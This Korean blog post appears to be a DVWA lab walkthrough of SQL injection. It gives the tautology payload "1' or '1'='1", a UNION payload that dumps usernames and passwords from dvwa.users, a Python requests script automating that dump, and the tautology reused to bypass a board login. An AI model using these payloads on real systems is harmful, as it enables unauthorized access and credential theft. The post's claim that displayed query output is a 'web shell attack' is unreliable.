InfoSec / / 2024. 9. 13. 15:47

DVWA - SQL Injection

 개요

데이터베이스에 전송되는 SQL 쿼리문을 조작하여

DB내의 데이터를 변조하거나 허가되지 않은 데이터에 접근할 수 있는 공격

 

▶ 해킹사례

  ☞ 2011년 소니: 약 100만명, 350만개의 쿠폰 탈취
  ☞ 2015년 뽐뿌: 약 190만명의 개인정보 탈취

  ☞ 2015년 WTO: 어나니머스의 공격으로 수천만명의 직원 정보 탈취

 

▶ 공격 종류
  ☞ WHERE 구문을 이용한 공격
  ☞ UNION 구문을 이용한 공격

 

SQL Injection (Low Level)

 

USER ID 검색 폼에 admin이라고 입력한 경우

 

1) 사용자가 정보를 요청한다

2) 요청된 정보를 데이터베이스로 SQL쿼리문을 전송한다.

   => SELECT name FROM 테이블명 WHERE ID='admin';

3) 정보 요청 결과

   주소창은 다음과 같이 변경된다.

    http://192.168.5.126/dvwa/vulnerabilities/sqli/?id=admin&Submit=Submit#

 

 

▶ SQL 인젝션 공격: WHERE 구문을 이용한 공격

공격 쿼리문: 1' or '1'='1

ID가 1이거나 숫자1이 1인경우를 뜻하며,

숫자1이 숫자1인 경우는 언제나 참이므로 모든 조건이 만족되어

모든 테이블이 출력되게 됩니다.

※ 이런식으로 웹 서버 창에 그대로 정보가 출력되는 공격을 웹쉘 공격이라고 합니다.

 

▶ SQL 인젝션 공격: UNION 구문을 이용한 공격

공격자인 해커는 or 연산자 대신에 union구문을 이용하여

패스워드를 요청하는 추가 쿼리문을 삽입하는 공격입니다.

 

WHERE : SELECT name FROM 테이블명 WHERE ID='1' or '1' = '1';

UNION : SELECT name FROM 테이블명 WHERE ID='1'

                       UNION SELECT user,password FROM dvwa.users#;

 

1' union select user,password from dvwa.users#

문구 삽입으로 유저 이름과 암호를 출력할 수 있습니다.

 

 

▶ SQL 인젝션 공격의 핵심은 작은 따옴표이다 => ( ' )

정상적으로 ID값을 입력하면 아래와 같이 주소창이 변경된다.

http://192.168.5.126/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#

 

 

그런데 SQL인젝션에 취약점이 있는 홈페이지는

작은 따옴표를 삽입하면 에러 문구를 출력한다.

 

이런 경고가 출력된다는 것은 SQL문의 결과를 웹쉘로 볼수 있다는것을 뜻하며

SQL인젝션 공격을 할 수 있음을 뜻합니다.

 

 

 SQL Injection (Low Leve)의 파이썬 코드

import requests
import re

URL = "http://서버IP/dvwa/vulnerabilities/sqli/"
cookies = {'PHPSESSID' : '세션ID', 'security' : 'low'}
data = {'id' : "1' union select user,password from dvwa.users#", 'Submit' : 'Submit'}

res = requests.post(URL, data=data, cookies=cookies)

search_string = "First name: admin"

string_position = res.text.find(search_string)

if string_position > 0 :
    res2 = res.text[string_position:res.text.find("</div>", string_position)].split("</pre><pre>")
    for i in res2 :
        print(i)
else :
    print("[-]")

 

 

파이썬 코드로 다음과 같이 결과값이 출력됩니다.

 

 

 SQL Injection으로 게시판 로그인하기

게시판에 비밀번호 입력창에 DVWA공격과 마찬가지로

1' or '1' = '1

를 입력하면 모든 값이 참이 되면서 로그인에 성공합니다.

▼▼▼

 

 

 

  • 네이버 블로그 공유
  • 네이버 밴드 공유
  • 페이스북 공유
  • 카카오스토리 공유